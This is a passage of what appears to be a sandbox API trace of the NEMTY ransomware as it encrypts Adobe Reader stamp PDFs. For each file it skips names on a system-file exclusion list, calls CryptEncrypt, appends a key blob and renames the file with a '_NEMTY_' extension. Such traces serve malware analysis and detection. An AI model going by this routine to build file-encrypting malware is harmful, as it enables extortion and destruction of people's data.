0x63440b0 [0187.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.526] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\hanko.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.527] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=47042) returned 1 [0187.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb7c0) returned 0x6352c48 [0187.527] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.527] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb7c0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xb7c0, lpOverlapped=0x0) returned 1 [0187.533] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.533] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb7c0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xb7c0, lpOverlapped=0x0) returned 1 [0187.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.533] SetFilePointer (in: hFile=0x320, lDistanceToMove=47042, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb7c2 [0187.533] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.533] CloseHandle (hObject=0x320) returned 1 [0187.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404c8 [0187.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0187.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0187.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.534] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\hanko.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Hanko.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\hanko.pdf._nemty_kgobjgd_")) returned 1 [0187.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0187.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340400 | out: hHeap=0x4f90000) returned 1 [0187.534] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1182b, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0187.534] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0187.534] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0187.534] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0187.534] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0187.534] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.534] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0187.534] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0187.535] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0187.535] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0187.535] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0187.535] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0187.535] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0187.535] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.535] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0187.535] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0187.535] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0187.535] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0187.535] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.535] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0187.535] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0187.535] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0187.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340400 [0187.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404c8 [0187.536] Sleep (dwMilliseconds=0x5) [0187.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x236e16f0, dwHighDateTime=0x1d561e8)) [0187.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x236e16f0, dwHighDateTime=0x1d561e8)) [0187.541] GetLastError () returned 0x0 [0187.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.541] GetLastError () returned 0x0 [0187.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.541] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.541] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.541] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0187.541] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="S9lne3pGHNjoqvZvDrXP99I6oZhhAsZ7E0ADvdmlIfLza/+S5RshqdbNtvzBJMKE\r\nfcUKZk7mbnhazjyZnCLAof6V2S1ex1ksSdzA76oqiYDxmGDpRPOzIcAxiU6kojax\r\nC5CCLreFZ6aSvwbQ2xYdvnQ45FydvoDaJI44aTX8h12o3DLpMxrlK2GdkYB5L0pC\r\nDPsFo66KJKZVwB0kdmo3LL//M+SumL/sRsJH0ISSY1T8mHsvb7j/8dLArr7EwjvU\r\nbiI1v+p6xxTwXPQbBrdE8wyEKU6mnGHMRUG4EpjkQVeG67KNMJidvsqNBqjzQDfi\r\nMGpRX/hhaAipkfU6AdKs0g==\r\n", pcchString=0x653df5c) returned 1 [0187.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0187.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.542] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.542] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=71723) returned 1 [0187.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11820) returned 0x6352c48 [0187.542] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.542] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x11820, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x11820, lpOverlapped=0x0) returned 1 [0187.549] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.550] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x11820, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x11820, lpOverlapped=0x0) returned 1 [0187.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.550] SetFilePointer (in: hFile=0x320, lDistanceToMove=71723, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1182b [0187.550] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.550] CloseHandle (hObject=0x320) returned 1 [0187.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0187.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0187.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0187.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.550] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0187.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0187.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0187.551] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x322cc, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0187.551] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0187.551] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0187.551] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0187.551] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0187.551] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.551] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0187.551] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0187.551] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0187.551] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0187.552] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0187.552] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0187.552] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0187.552] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.552] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0187.552] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0187.552] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0187.552] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0187.552] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.552] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0187.552] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0187.552] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0187.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0187.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0187.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0187.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0187.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0187.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0187.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0187.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0187.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404c8 [0187.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340400 | out: hHeap=0x4f90000) returned 1 [0187.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0187.553] Sleep (dwMilliseconds=0x5) [0187.557] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23707850, dwHighDateTime=0x1d561e8)) [0187.557] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23707850, dwHighDateTime=0x1d561e8)) [0187.557] GetLastError () returned 0x0 [0187.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.557] GetLastError () returned 0x0 [0187.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0187.557] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, 